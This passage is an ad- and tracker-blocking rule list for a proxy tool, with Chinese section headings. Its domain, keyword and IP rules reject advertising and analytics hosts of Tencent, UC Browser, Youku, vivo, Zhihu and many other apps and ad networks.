DOMAIN,pgdt.gtimg.cn,REJECT +# DOMAIN,ugchsy.gtimg.com,REJECT +# DOMAIN,adsmind.gdtimg.com,REJECT +# DOMAIN,btrace.video.qq.com,REJECT +# DOMAIN,info4.video.qq.com,REJECT +# DOMAIN,info6.video.qq.com,REJECT +# DOMAIN-SUFFIX,api.poll.video.qq.com,REJECT +# DOMAIN,activity.video.qq.com,REJECT +# DOMAIN,ios.video.mpush.qq.com,REJECT +# DOMAIN,p.l.qq.com,REJECT +# DOMAIN,rpt.gdt.qq.com,REJECT +# DOMAIN-SUFFIX,trace.qq.com,REJECT +# DOMAIN-SUFFIX,tetrack.qq.com,REJECT +# DOMAIN-SUFFIX,tpns.tencent.com,REJECT +# DOMAIN-SUFFIX,stat.tpns.tencent.com,REJECT +# DOMAIN-SUFFIX,static-res.qq.com,REJECT +# DOMAIN-SUFFIX,omgmta.qq.com,REJECT +# DOMAIN-SUFFIX,omgmta1.qq.com,REJECT +# DOMAIN,tux.qq.com,REJECT +# DOMAIN,iacc.qq.com,REJECT +# DOMAIN,p2.l.qq.com,REJECT +# DOMAIN,v3.gdt.qq.com,REJECT +# DOMAIN,rmonitor.qq.com,REJECT +# DOMAIN,xs.gdt.qq.com,REJECT +# DOMAIN,aegis.qq.com,REJECT +# DOMAIN,rdelivery.qq.com,REJECT +# DOMAIN,wallpaper-1258344696.file.myqcloud.com,REJECT +# DOMAIN,wallpaper-test-1258344696.file.myqcloud.com,REJECT +# IP-CIDR,183.201.213.194/24,REJECT,no-resolve + +# > 腾讯 +DOMAIN-SUFFIX,news.ssp.qq.com +DOMAIN-SUFFIX,news.l.qq.com +DOMAIN-SUFFIX,activeqq.3g.qq.com +DOMAIN-SUFFIX,ad.qq.com +DOMAIN-SUFFIX,adping.qq.com +DOMAIN-SUFFIX,adpm.app.qq.com +DOMAIN-SUFFIX,adrdir.qq.com +DOMAIN-SUFFIX,adsclick.qq.com +DOMAIN-SUFFIX,adsense.html5.qq.com +DOMAIN-SUFFIX,adsfile.qq.com +DOMAIN-SUFFIX,adsgroup.qq.com +DOMAIN-SUFFIX,adshmct.qq.com +DOMAIN-SUFFIX,adshmmsg.qq.com +DOMAIN-SUFFIX,adslvfile.qq.com +DOMAIN-SUFFIX,adslvseed.qq.com +DOMAIN-SUFFIX,adsolution.imtt.qq.com +DOMAIN-SUFFIX,adsqqclick.qq.com +DOMAIN-SUFFIX,adstextview.qq.com +DOMAIN-SUFFIX,adsview.qq.com +DOMAIN-SUFFIX,adsview2.qq.com +DOMAIN-SUFFIX,adv.app.qq.com +DOMAIN-SUFFIX,adver.qq.com +DOMAIN-SUFFIX,aeventlog.beacon.qq.com +DOMAIN-SUFFIX,analy.qq.com +DOMAIN-SUFFIX,astrategy.beacon.qq.com +DOMAIN-SUFFIX,c.gdt.qq.com +DOMAIN-SUFFIX,c.gj.qq.com +DOMAIN-SUFFIX,canvas.gdt.qq.com +DOMAIN-SUFFIX,d.gdt.qq.com +DOMAIN-SUFFIX,d3g.qq.com +DOMAIN-SUFFIX,download.sj.qq.com +DOMAIN-SUFFIX,dp3.qq.com +DOMAIN-SUFFIX,eventlog.beacon.qq.com +DOMAIN-SUFFIX,game.html5.qq.com +DOMAIN-SUFFIX,ggmmqq.com +DOMAIN-SUFFIX,j.wit.qq.com +DOMAIN-SUFFIX,jqmt.qq.com +DOMAIN-SUFFIX,jrlt.beacon.qq.com +DOMAIN-SUFFIX,jsqmt.qq.com +DOMAIN-SUFFIX,lives.l.qq.com +DOMAIN-SUFFIX,livep.l.qq.com +DOMAIN-SUFFIX,mi.gdt.qq.com +DOMAIN-SUFFIX,livep.l.ott.video.qq.com +DOMAIN-SUFFIX,lives.l.ott.video.qq.com +DOMAIN-SUFFIX,masdk.3g.qq.com +DOMAIN-SUFFIX,mfm.video.qq.com +DOMAIN-SUFFIX,mini2015.qq.com +DOMAIN-SUFFIX,monitor.uu.qq.com +DOMAIN-SUFFIX,mqqad.cs0309.html5.qq.com +DOMAIN-SUFFIX,mqqad.html5.qq.com +DOMAIN-SUFFIX,mqqadr.reader.qq.com +DOMAIN-SUFFIX,nc.gdt.qq.com +DOMAIN-SUFFIX,news.mpush.qq.com +DOMAIN-SUFFIX,news-l.play.ott.video.qq.com +DOMAIN-SUFFIX,novelsns.html5.qq.com +DOMAIN-SUFFIX,oth.update.mdt.qq.com +DOMAIN-SUFFIX,pcbrowser.dd.qq.com +DOMAIN-SUFFIX,pmir.3g.qq.com +DOMAIN-SUFFIX,pvstat.html5.qq.com +DOMAIN-SUFFIX,q.i.gdt.qq.com +DOMAIN-SUFFIX,qqshow2-item.qq.com +DOMAIN-SUFFIX,rm.gdt.qq.com +DOMAIN-SUFFIX,scdown.qq.com +DOMAIN-SUFFIX,setting.snswin.qq.com +DOMAIN-SUFFIX,sngmta.qq.com +DOMAIN-SUFFIX,strategy.beacon.qq.com +DOMAIN-SUFFIX,t.gdt.qq.com +DOMAIN-SUFFIX,t.sj.qq.com +DOMAIN-SUFFIX,ta.qq.com +DOMAIN-SUFFIX,tcss.qq.com +DOMAIN-SUFFIX,tpush.html5.qq.com +DOMAIN-SUFFIX,updatecenter.qq.com +DOMAIN-SUFFIX,video.ureport.push.qq.com +DOMAIN-SUFFIX,video.wap.mpush.qq.com +DOMAIN-SUFFIX,vlive.qqvideo.tc.qq.com +DOMAIN-SUFFIX,wap.mpush.qq.com +DOMAIN-SUFFIX,win.gdt.qq.com +DOMAIN-SUFFIX,ws.sj.qq.com +DOMAIN-SUFFIX,wxsnsdy.tc.qq.com +DOMAIN-SUFFIX,wxsnsdy.video.qq.com +DOMAIN-SUFFIX,adsmind.tc.qq.com +DOMAIN-SUFFIX,pingma.qq.com +DOMAIN-SUFFIX,pingtcss.qq.com +DOMAIN-SUFFIX,tajs.qq.com +DOMAIN-SUFFIX,fusion.qq.com +DOMAIN-SUFFIX,ios.bugly.qq.com +DOMAIN, safebrowsing.urlsec.qq.com +DOMAIN, oth.str.mdt.qq.com +DOMAIN, adsmind.apdcdn.tc.qq.com +DOMAIN, adsmind.tc.qq.com +DOMAIN, livep.l.t002.ottcn.com +DOMAIN, pgdt.ugdtimg.com +DOMAIN, splashqqlive.gtimg.com +DOMAIN, vv.video.qq.com +DOMAIN, wa.gtimg.com +DOMAIN, wxsnsdy.wxs.qq.com +DOMAIN, wxsmsdy.video.qq.com + +# > 同花顺 +DOMAIN, adm.10jqka.com.cn +DOMAIN, stat.10jqka.com.cn + +# > 迅雷 +DOMAIN, adsp.xunlei.com +DOMAIN, etl.xlmc.sandai.net + +# > 团油 +DOMAIN-KEYWORD,img1.czb365.com + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > UC浏览器 +DOMAIN-KEYWORD,m.atm.youku.com +DOMAIN-KEYWORD,adp.atm.youku.com +DOMAIN-KEYWORD,clickc.admaster.com +DOMAIN-KEYWORD,count.atm.youku.com +DOMAIN-KEYWORD,ems.youku.com +DOMAIN-KEYWORD,fans.m.tmall.com +DOMAIN-KEYWORD,r1.ykimg.com +DOMAIN-KEYWORD,v.admaster.com +DOMAIN-KEYWORD,v2.reachmax.cn +DOMAIN-KEYWORD,val.atm.youku.com +DOMAIN-KEYWORD,server.m.pp.cn +DOMAIN-KEYWORD,puds.ucweb.com +DOMAIN-KEYWORD,wgo.mmstat.com +DOMAIN-KEYWORD,log.cs.pp.cn +DOMAIN-KEYWORD,applog.uc.cn +DOMAIN-KEYWORD,afpapi.alimama.com +DOMAIN-KEYWORD,a.9game.cn +DOMAIN-KEYWORD,track.uc.cn +DOMAIN-KEYWORD,adtrack.ucweb.com +DOMAIN-KEYWORD,utp-dmp.ucweb.com +DOMAIN-KEYWORD,utp.ucweb.com +DOMAIN-KEYWORD,huichuan.sm.cn +DOMAIN-KEYWORD,ynuf.alipay.com +DOMAIN-KEYWORD,pdds.ucweb.com +DOMAIN-KEYWORD,js.union-wifi.com +DOMAIN-KEYWORD,www.qmlog.cn +DOMAIN-KEYWORD,cpu.baidu.com +DOMAIN-KEYWORD,caclick.baidu.com +DOMAIN-KEYWORD,rescn.u3.ucweb.com +DOMAIN-KEYWORD,editor.sm.cn +DOMAIN-KEYWORD,fc-video.cdn.bcebos.com +DOMAIN-KEYWORD,vs10.bj2ct.u3.ucweb.com +DOMAIN, safe.ucweb.com +DOMAIN, px.ucweb.com +DOMAIN, navigis.uc.cn +DOMAIN, order.sm.cn +DOMAIN, ucdc-upaas.uc.cn +DOMAIN, access.open.uc.cn +DOMAIN, uc.ucweb.com +DOMAIN, emoji.uc.cn +DOMAIN, ssp-partner.alibaba.com +DOMAIN, voice-service.uc.cn +DOMAIN, v.uc.cn +DOMAIN, coral.uc.cn +DOMAIN, wolong-dsp.sm.cn +DOMAIN, cartoonapi.uc.cn +DOMAIN, umessage-online-zb.uc.cn +DOMAIN, sealine.youku.com +DOMAIN, api.c.uc.cn +DOMAIN, aid.m.taobao.com +DOMAIN, cms.uc.cn +DOMAIN, applog-perf.uc.cn +DOMAIN-SUFFIX,m.atm.youku.com +DOMAIN-SUFFIX,adp.atm.youku.com +DOMAIN-SUFFIX,clickc.admaster.com.cn +DOMAIN-SUFFIX,count.atm.youku.com +DOMAIN-SUFFIX,ems.youku.com +DOMAIN-SUFFIX,fans.m.tmall.com +DOMAIN-SUFFIX,r1.ykimg.com +DOMAIN-SUFFIX,v.admaster.com.cn +DOMAIN-SUFFIX,v2.reachmax.cn +DOMAIN-SUFFIX,val.atm.youku.com +DOMAIN-SUFFIX,server.m.pp.cn +DOMAIN-SUFFIX,puds.ucweb.com +DOMAIN-SUFFIX,wgo.mmstat.com +DOMAIN-SUFFIX,log.cs.pp.cn +DOMAIN-SUFFIX,applog.uc.cn +DOMAIN-SUFFIX,afpapi.alimama.com +DOMAIN-SUFFIX,a.9game.cn +DOMAIN-SUFFIX,track.uc.cn +DOMAIN-SUFFIX,adtrack.ucweb.com +DOMAIN-SUFFIX,utp-dmp.ucweb.com +DOMAIN-SUFFIX,utp.ucweb.com +DOMAIN-SUFFIX,huichuan.sm.cn +DOMAIN-SUFFIX,ynuf.alipay.com +DOMAIN-SUFFIX,pdds.ucweb.com +DOMAIN-SUFFIX,js.union-wifi.com +DOMAIN-SUFFIX,qmlog.cn +DOMAIN-SUFFIX,cpu.baidu.com +DOMAIN-SUFFIX,caclick.baidu.com +DOMAIN-SUFFIX,rescn.u3.ucweb.com +DOMAIN, feedback.uc.cn +DOMAIN, gj.applog.uc.cn +DOMAIN, gj.track.uc.cn +DOMAIN, gjapplog.uc.cn +DOMAIN, gjtrack.uc.cn +DOMAIN, holmeshelptest.uc.cn +DOMAIN-SUFFIX,ads.uc.cn +DOMAIN-SUFFIX,adslot.uc.cn +DOMAIN-SUFFIX,alissl.ucdl.pp.uc.cn +DOMAIN-SUFFIX,api.mp.uc.cn +DOMAIN-SUFFIX,api.open.uc.cn +DOMAIN-SUFFIX,applog.uc.cn +DOMAIN-SUFFIX,applogios.uc.cn +DOMAIN-SUFFIX,bench.uc.cn +DOMAIN-SUFFIX,client.tv.uc.cn +DOMAIN-SUFFIX,coral-task.uc.cn +DOMAIN-SUFFIX,dispatcher.upmc.uc.cn +DOMAIN-SUFFIX,hcadv.video.ums.uc.cn +DOMAIN-SUFFIX,hao.uc.cn +DOMAIN-SUFFIX,lobmuc.cn +DOMAIN-SUFFIX,open-uc.cn +DOMAIN-SUFFIX,puds.test.uae.uc.cn +DOMAIN-SUFFIX,track.uc.cn +DOMAIN-SUFFIX,wmedia-track.uc.cn +DOMAIN-SUFFIX,woodpecker.uc.cn +DOMAIN, gecko-pangle-lf.snssdk.com +DOMAIN, mercury-sdk.snssdk.com +DOMAIN, tbm.snssdk.com +DOMAIN, toblog.ctobsnssdk.com +DOMAIN, tnc3-aliec2.snssdk.com + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > VariFlight +DOMAIN, adv-adlog.variflight.com +DOMAIN, adv-ads.variflight.com +DOMAIN, app-ad.variflight.com + +# > vivo +DOMAIN, adlog.vivo.com.cn +DOMAIN, adreq.vivo.com.cn +DOMAIN, ads-marketing-vivofs.vivo.com.cn +DOMAIN, adsdk.vivo.com.cn +DOMAIN, adsstatic.vivo.com.cn +DOMAIN, adxlog.vivo.com.cn +DOMAIN, vcardsdkservice.vivo.com.cn +DOMAIN-KEYWORD,stsdk.vivo.com.cn +DOMAIN-KEYWORD,stsdk.vivoglobal.com + +# > VIVO商城 +DOMAIN-KEYWORD,paradisestatic.vivo.com.cn + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 万能钥匙专业版 +# 感谢#All in 梭哈分享 +DOMAIN-SUFFIX,mi.gdt.qq.com +# 去除导航栏免费短剧 +DOMAIN, taichi.51y5.net + +# > WiFi万能钥匙 +DOMAIN-KEYWORD,app.51y5.net +DOMAIN-KEYWORD,apiinit.amap.com +DOMAIN-KEYWORD,c.51y5.net +DOMAIN-KEYWORD,msg.push.51y5.net +DOMAIN-KEYWORD,a.wkanx.com +DOMAIN-KEYWORD,c.wkanx.com +DOMAIN-KEYWORD,c1.wkanx.com +DOMAIN-KEYWORD,ap.51y5.net +DOMAIN-KEYWORD,dc.51y5.net +DOMAIN-KEYWORD,push-dc.51y5.net +DOMAIN-KEYWORD,news-log.51y5.net +DOMAIN-KEYWORD,login.push.51y5.net +DOMAIN-KEYWORD,news.51y5.net +DOMAIN-KEYWORD,cds.51y5.net +DOMAIN-KEYWORD,insurance.lianwifi.com +DOMAIN-KEYWORD,config.51y5.net +DOMAIN-KEYWORD,static.wkanx.com +DOMAIN-KEYWORD,config.y5en.com + +# > 微博 +# 迁移到weibo.plugin + +# > 网易 +DOMAIN-SUFFIX,dsp.youdao.com +DOMAIN-SUFFIX,union.youdao.com +DOMAIN, ad.bn.netease.com +DOMAIN, ad.yixin.im +DOMAIN, admusicpic.music.126.net +DOMAIN, g1.163.com +DOMAIN, gorgon.youdao.com +DOMAIN, iad.g.163.com +DOMAIN, iadmat.nosdn.127.net +DOMAIN, iadmusicmat.music.126.net +DOMAIN, iadmusicmatvideo.music.126.net +DOMAIN, impservice.dictapp.youdao.com +DOMAIN, impservice.youdao.com +DOMAIN, n.3g.163.com +DOMAIN, nex.163.com +DOMAIN, yt-adp.nosdn.127.net +DOMAIN, yt-adp.ws.126.net + +# > 微软 +DOMAIN-SUFFIX,ads.msn.com +DOMAIN-SUFFIX,ads1.msn.com +DOMAIN-SUFFIX,ads2.msn.com +DOMAIN-SUFFIX,bingads.microsoft.com +DOMAIN-SUFFIX,rads.msn.com +DOMAIN, mobileads.msn.com + +# > 歪麦去开屏 +DOMAIN-SUFFIX, ad.gameley.com +DOMAIN-SUFFIX, zlsdk.1rtb.net + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 讯飞输入法 +DOMAIN-KEYWORD,ossp.voicecloud.cn +DOMAIN-KEYWORD,bj.imp.voiceads.cn +DOMAIN-KEYWORD,m.panda.voiceads.cn +DOMAIN-KEYWORD,iflyad.bj.openstorage.cn + +# > 喜马拉雅 +DOMAIN, adbehavior.ximalaya.com +DOMAIN, adwbs.ximalaya.com +DOMAIN-SUFFIX,ad.test.ximalaya.com +DOMAIN-SUFFIX,adse.test.ximalaya.com +DOMAIN-SUFFIX,adweb.test.ximalaya.com +DOMAIN-SUFFIX,adweb.ximalaya.com +DOMAIN-SUFFIX,linkeye.ximalaya.com +DOMAIN-SUFFIX,location.ximalaya.com +DOMAIN-SUFFIX,xdcs-collector.ximalaya.com +DOMAIN-SUFFIX,ad.ximalaya.com +DOMAIN-SUFFIX,adse.ximalaya.com +DOMAIN-SUFFIX,adse.wsa.ximalaya.com +DOMAIN-SUFFIX,adbehavior.wsa.ximalaya.com +DOMAIN-SUFFIX,adsebs.ximalaya.com +DOMAIN-SUFFIX,adbs.ximalaya.com + +# > 小红书 +DOMAIN, ads-img-qc.xhscdn.com +DOMAIN, ads-video-al.xhscdn.com +DOMAIN, ads-video-qc.xhscdn.com +DOMAIN, t-ads.xiaohongshu.com + +# > 小米 +DOMAIN, data.mistat.xiaomi.com +DOMAIN, tracking.intl.miui.com + +# > 小小影视 +DOMAIN, 39d83s.com + +# > 小利生活 +DOMAIN-KEYWORD,mpos-pic.helipay.com + +# > 小爱音箱 +DOMAIN, mistat.xiaomi.com + +# > 晓晓优选 +DOMAIN-SUFFIX, api-htp.beizi.biz +DOMAIN-SUFFIX, yfanads.com +DOMAIN-SUFFIX, 1rtb.net +DOMAIN-SUFFIX, adwangmai.com + +# > 新浪 +DOMAIN-SUFFIX,beacon.sina.com.cn +DOMAIN, u1.img.mobile.sina.cn +DOMAIN, sax.sina.com.cn +DOMAIN, saxs.sina.com.cn +DOMAIN, saxn.sina.com.cn + +# > 向日葵 见重写 + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 云闪付 +DOMAIN, ads.95516.com +DOMAIN, cm-10-138.getui.com +DOMAIN, sdk.open.talk.getui.net +DOMAIN, sdk-conf.getui.com +DOMAIN, switch.cup.com.cn +DOMAIN, tysdk.95516.com +DOMAIN, ads.cup.com.cn + +# > 雅虎 +DOMAIN-SUFFIX,adserver.yahoo.com +DOMAIN-SUFFIX,adspecs.yahoo.com +DOMAIN-SUFFIX,advertising.yahoo.com +DOMAIN-SUFFIX,gemini.yahoo.com +DOMAIN, admarketing.yahoo.net +DOMAIN, ads.auctions.yahoo.com +DOMAIN, ads.finance.yahoo.com +DOMAIN, ads.yahoo.com +DOMAIN, ads.yahoo.de + +# > 优酷 +#DOMAIN-SUFFIX, sm.cn +DOMAIN-SUFFIX, acz.youku.com +DOMAIN-SUFFIX, adx-core.youku.com +DOMAIN-SUFFIX, adx-open-service.youku.com +DOMAIN-SUFFIX, rhdc-acs.youku.com +DOMAIN-SUFFIX, partner.uc.cn +DOMAIN-SUFFIX, ubixioe.com +DOMAIN-SUFFIX, uczzd.cn +DOMAIN-SUFFIX, ranfenghd.com +DOMAIN-SUFFIX, zconfig.alibabausercontent.com +DOMAIN-SUFFIX, bgg.baidu.com +DOMAIN-SUFFIX, gdt.qq.com +DOMAIN-SUFFIX, sdk.e.qq.com +DOMAIN-SUFFIX, mazu.m.qq.com +DOMAIN-SUFFIX, snowflake.qq.com +DOMAIN-SUFFIX, cad.youku.com +DOMAIN-SUFFIX, sjarvis.taobao.com +DOMAIN, adsmind.ugdtimg.com +DOMAIN, amdc.m.youku.com +DOMAIN, apiv4-iyes.youku.com +DOMAIN, httpdns.alicdn.com +DOMAIN, iyes.youku.com +DOMAIN, mc.atm.youku.com +DOMAIN, pl.cp31.ott.cibntv.net +DOMAIN, m-vali.cp31.ott.cibntv.net +DOMAIN, vali-g1.cp31.ott.cibntv.net +DOMAIN, vali-ugc.cp31.ott.cibntv.net +DOMAIN, yk-ssp.ad.youku.com +DOMAIN, ykad-data.youku.com +DOMAIN, ad.mobile.youku.com +DOMAIN-SUFFIX,atm.youku.com +DOMAIN-SUFFIX,actives.youku.com +DOMAIN-SUFFIX,ad.api.3g.tudou.com +DOMAIN-SUFFIX,ad.api.3g.youku.com +DOMAIN-SUFFIX,ad.api.mobile.youku.com +DOMAIN-SUFFIX,store.tv.api.3g.youku.com +DOMAIN-SUFFIX,store.xl.api.3g.youku.com +DOMAIN-SUFFIX,a-dxk.play.api.3g.youku.com +DOMAIN-SUFFIX,b.smartvideo.youku.com +DOMAIN-SUFFIX,c.yes.youku.com +DOMAIN-SUFFIX,das.api.youku.com +DOMAIN-SUFFIX,das.mobile.youku.com +DOMAIN-SUFFIX,dev-push.m.youku.com +DOMAIN-SUFFIX,dl.g.youku.com +DOMAIN-SUFFIX,dmapp.youku.com +DOMAIN-SUFFIX,gamex.mobile.youku.com +DOMAIN-SUFFIX,hudong.pl.youku.com +DOMAIN-SUFFIX,huodong.pl.youku.com +DOMAIN-SUFFIX,huodong.vip.youku.com +DOMAIN-SUFFIX,hz.youku.com +DOMAIN-SUFFIX,l.ykimg.com +DOMAIN-SUFFIX,lstat.youku.com +DOMAIN-SUFFIX,m.yes.youku.com +DOMAIN-SUFFIX,mobilemsg.youku.com +DOMAIN-SUFFIX,msg.youku.com +DOMAIN-SUFFIX,myes.youku.com +DOMAIN-SUFFIX,p.l.youku.com +DOMAIN-SUFFIX,passport-log.youku.com +DOMAIN-SUFFIX,p-log.ykimg.com +DOMAIN-SUFFIX,push.m.youku.com +DOMAIN-SUFFIX,r.l.youku.com +DOMAIN-SUFFIX,s.p.youku.com +DOMAIN-SUFFIX,sdk.api.gamex.mobile.youku.com +DOMAIN-SUFFIX,sdk.m.youku.com +DOMAIN-SUFFIX,stat.youku.com +DOMAIN-SUFFIX,tdrec.youku.com +DOMAIN-SUFFIX,test.ott.youku.com +DOMAIN-SUFFIX,urchin.lstat.youku.com +DOMAIN-SUFFIX,v.l.youku.com +DOMAIN-SUFFIX,val.api.youku.com +DOMAIN-SUFFIX,wan.youku.com +DOMAIN-SUFFIX,ykatr.youku.com +DOMAIN-SUFFIX,ykrec.youku.com +IP-CIDR, 223.111.27.248/32, no-resolve + +# > 易车 +DOMAIN, adx.yiche.com +DOMAIN, log.ycapp.yiche.com + +# > 央视 +DOMAIN, galaxy.bjcathay.com +DOMAIN, mdrecv.app.cntvwb.cn +DOMAIN, sdapprecv.app.cntvwb.cn +DOMAIN, vdapprecv.app.cntvwb.cn +DOMAIN-SUFFIX,a.cctv.com +DOMAIN-SUFFIX,ad.cctv.com +DOMAIN-SUFFIX,ad.cntv.cn +DOMAIN-SUFFIX,adguanggao.eee114.com +DOMAIN-SUFFIX,afp.qiyi.com +DOMAIN-SUFFIX,cctv.adsunion.com +DOMAIN-SUFFIX,d.cntv.cn +DOMAIN-SUFFIX,de.pandora.xiaomi.com +DOMAIN-SUFFIX,mishop.pandora.xiaomi.com +DOMAIN-SUFFIX,cws-cctv.conviva.com +DOMAIN-SUFFIX,mdrecv.app.cntvwb.cn +DOMAIN-SUFFIX,sdapprecv.app.cntvwb.cn +DOMAIN-SUFFIX,vdapprecv.app.cntvwb.cn + +# > 一刻相册 广告联盟已包含 + + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 知乎 +USER-AGENT,AVOS* +DOMAIN, appcloud.zhihu.com +DOMAIN, appcloud2.in.zhihu.com +DOMAIN, mqtt.zhihu.com +DOMAIN, sugar.zhihu.com +DOMAIN, crash2.zhihu.com +DOMAIN, 118.89.204.198 +IP-CIDR, 118.89.204.198/32, no-resolve +IP-CIDR6,2402:4e00:1200:ed00:0:9089:6dac:96b6/128, no-resolve + +# > 中关村 +DOMAIN, apppv.zol.com.cn +DOMAIN, pvnapp.zol.com.cn + +# > 中国移动 +IP-CIDR, 120.240.95.37/32, no-resolve + +# > 中国联通 +DOMAIN-SUFFIX,m1.ad.10010.com + +# > 中国电信 +DOMAIN, ad.21cn.com +DOMAIN, ad.k.21cn.com +DOMAIN, admarket.21cn.com +DOMAIN, adshows.21cn.com +IP-CIDR, 122.229.8.47/32, no-resolve +IP-CIDR, 122.229.29.89/32, no-resolve + +# > 中华万年历广告 +DOMAIN-KEYWORD,lkme.cc +DOMAIN-KEYWORD,api.freed.so +DOMAIN-KEYWORD,log-dmp.suishenyun.cn +DOMAIN-KEYWORD,client-dmp.suishenyun.cn +DOMAIN-KEYWORD,pc.suishenyun.net +DOMAIN-KEYWORD,v0-client-lz.rili.cn + +# > 真不卡 +DOMAIN-SUFFIX,ttayy.cn +DOMAIN-SUFFIX,zhengxiaoliu.top + +# > 字节跳动 +DOMAIN, ad.zijieapi.com +DOMAIN, applog.zijieapi.com +DOMAIN-SUFFIX,-normal-lq.zijieapi.com + +# > 招钱进宝 广告联盟已包含 + + +# >>>>>>>>>>>>>>> ✅ 其他广告 ✅ <<<<<<<<<<<<<< +DOMAIN-KEYWORD, 112wan +DOMAIN-KEYWORD, 789htbet +DOMAIN-KEYWORD, XiaoQiang +DOMAIN-KEYWORD, adform +DOMAIN-KEYWORD, asewlfjqwlflkew +DOMAIN-KEYWORD, bngpt +DOMAIN-KEYWORD, bongacash +DOMAIN-KEYWORD, brushshopy +DOMAIN-KEYWORD, dfkj8 +DOMAIN-KEYWORD, dlads +DOMAIN-KEYWORD, dtscout +DOMAIN-KEYWORD, e2wysbacctt1 +DOMAIN-KEYWORD, exosrv +DOMAIN-KEYWORD, greenplasticdua +DOMAIN-KEYWORD, haowanyou +DOMAIN-KEYWORD, highwebmedia +DOMAIN-KEYWORD, histats +DOMAIN-KEYWORD, in-page-push +DOMAIN-KEYWORD, juruigj +DOMAIN-KEYWORD, lieyou +DOMAIN-KEYWORD, mathtag +DOMAIN-KEYWORD, mdapp09 +DOMAIN-KEYWORD, mifengv +DOMAIN-KEYWORD, mmiyue +DOMAIN-KEYWORD, o333o +DOMAIN-KEYWORD, onenews +DOMAIN-KEYWORD, pagespeed-mod +DOMAIN-KEYWORD, stunninglover +DOMAIN-KEYWORD, toateeli +DOMAIN-KEYWORD, trwl1 +DOMAIN-KEYWORD, vidoza +DOMAIN-KEYWORD, xn--2qux23c9ziyrq +DOMAIN-KEYWORD, xxshuyuan +DOMAIN-SUFFIX, mg.5pk +DOMAIN-SUFFIX, msg.71.am +DOMAIN-SUFFIX, msga.71.am +DOMAIN-SUFFIX, qosp.msg.71.am +DOMAIN-SUFFIX, cloudad.asia +DOMAIN-SUFFIX, optimix.asia +DOMAIN-SUFFIX, pixels.asia +DOMAIN-SUFFIX, sync-dsp.ad-m.asia +DOMAIN-SUFFIX, bshare.optimix.asia +DOMAIN-SUFFIX, bx.optimix.asia +DOMAIN-SUFFIX, bx01.optimix.asia +DOMAIN-SUFFIX, c03.optimix.asia +DOMAIN-SUFFIX, s03.optimix.asia +DOMAIN-SUFFIX, snap.snapmobile.asia +DOMAIN-SUFFIX, ibanners.empoweredcomms.com.au +DOMAIN-SUFFIX, storewidget.pcauthority.com.au +DOMAIN-SUFFIX, widgets.realestate.com.au +DOMAIN-SUFFIX, ad.sensismediasmart.com.au +DOMAIN-SUFFIX, widget.shopstyle.com.au +DOMAIN-SUFFIX, widget.solarquotes.com.au +DOMAIN-SUFFIX, partners.sportingbet.com.au +DOMAIN-SUFFIX, medrx.telstra.com.au +DOMAIN-SUFFIX, show.suning.beer +DOMAIN-SUFFIX, 38330.bet +DOMAIN-SUFFIX, 39330.bet +DOMAIN-SUFFIX, hg417.bet +DOMAIN-SUFFIX, aishang.bid +DOMAIN-SUFFIX, akxsrsdbursfpx.bid +DOMAIN-SUFFIX, aqqgli3vle.bid +DOMAIN-SUFFIX, avualrhg9p.bid +DOMAIN-SUFFIX, c0i8h8ac7e.bid +DOMAIN-SUFFIX, esrpxyahzna.bid +DOMAIN-SUFFIX, fge9vbrzwt.bid +DOMAIN-SUFFIX, hpqxznpb.bid +DOMAIN-SUFFIX, mdpjnppsbjv.bid +DOMAIN-SUFFIX, ny7f6goy.bid +DOMAIN-SUFFIX, vcfs6ip5h6.bid +DOMAIN-SUFFIX, wuqdebjfhjas.bid +DOMAIN-SUFFIX, sync-eu.exe.bid +DOMAIN-SUFFIX, go.gotourls.bid +DOMAIN-SUFFIX, chuantu.biz +DOMAIN-SUFFIX, trafficfactory.biz +DOMAIN-SUFFIX, udata.mixmarket.biz +DOMAIN-SUFFIX, ad.openmultimedia.biz +DOMAIN-SUFFIX, media.trafficfactory.biz +DOMAIN-SUFFIX, rpc-php.trafficfactory.biz +DOMAIN-SUFFIX, 1133.cc +DOMAIN-SUFFIX, 168ad.cc +DOMAIN-SUFFIX, 1l1.cc +DOMAIN-SUFFIX, 22lm.cc +DOMAIN-SUFFIX, 272829.cc +DOMAIN-SUFFIX, 33lm.cc +DOMAIN-SUFFIX, 361315.cc +DOMAIN-SUFFIX, 7gg.cc +DOMAIN-SUFFIX, 8184.cc +DOMAIN-SUFFIX, 86.cc +DOMAIN-SUFFIX, 911.cc +DOMAIN-SUFFIX, 9tn.cc +DOMAIN-SUFFIX, aafanke.cc +DOMAIN-SUFFIX, aiwen.cc +DOMAIN-SUFFIX, baoyatu.cc +DOMAIN-SUFFIX, bartender.cc +DOMAIN-SUFFIX, beyondcompare.cc +DOMAIN-SUFFIX, cpcv.cc +DOMAIN-SUFFIX, cpms.cc +DOMAIN-SUFFIX, cpva.cc +DOMAIN-SUFFIX, csad.cc +DOMAIN-SUFFIX, cy123.cc +DOMAIN-SUFFIX, cyad.cc +DOMAIN-SUFFIX, daima123.cc +DOMAIN-SUFFIX, girlcc.cc +DOMAIN-SUFFIX, guitarpro.cc +DOMAIN-SUFFIX, hivedata.cc +DOMAIN-SUFFIX, imindmap.cc +DOMAIN-SUFFIX, jiuku.cc +DOMAIN-SUFFIX, jp88.cc +DOMAIN-SUFFIX, jspg.cc +DOMAIN-SUFFIX, keyshot.cc +DOMAIN-SUFFIX, mindmanager.cc +DOMAIN-SUFFIX, mindmapper.cc +DOMAIN-SUFFIX, nicelabel.cc +DOMAIN-SUFFIX, ntfsformac.cc +DOMAIN-SUFFIX, p555.cc +DOMAIN-SUFFIX, pangu.cc +DOMAIN-SUFFIX, pasco.cc +DOMAIN-SUFFIX, pdfexpert.cc +DOMAIN-SUFFIX, s9w.cc +DOMAIN-SUFFIX, scriptcc.cc +DOMAIN-SUFFIX, tcjy66.cc +DOMAIN-SUFFIX, ttlm.cc +DOMAIN-SUFFIX, ujian.cc +DOMAIN-SUFFIX, ulink.cc +DOMAIN-SUFFIX, xinju.cc +DOMAIN-SUFFIX, xstar.cc +DOMAIN-SUFFIX, xxad.cc +DOMAIN-SUFFIX, yhzm.cc +DOMAIN-SUFFIX, zhongzicili.cc +DOMAIN-SUFFIX, 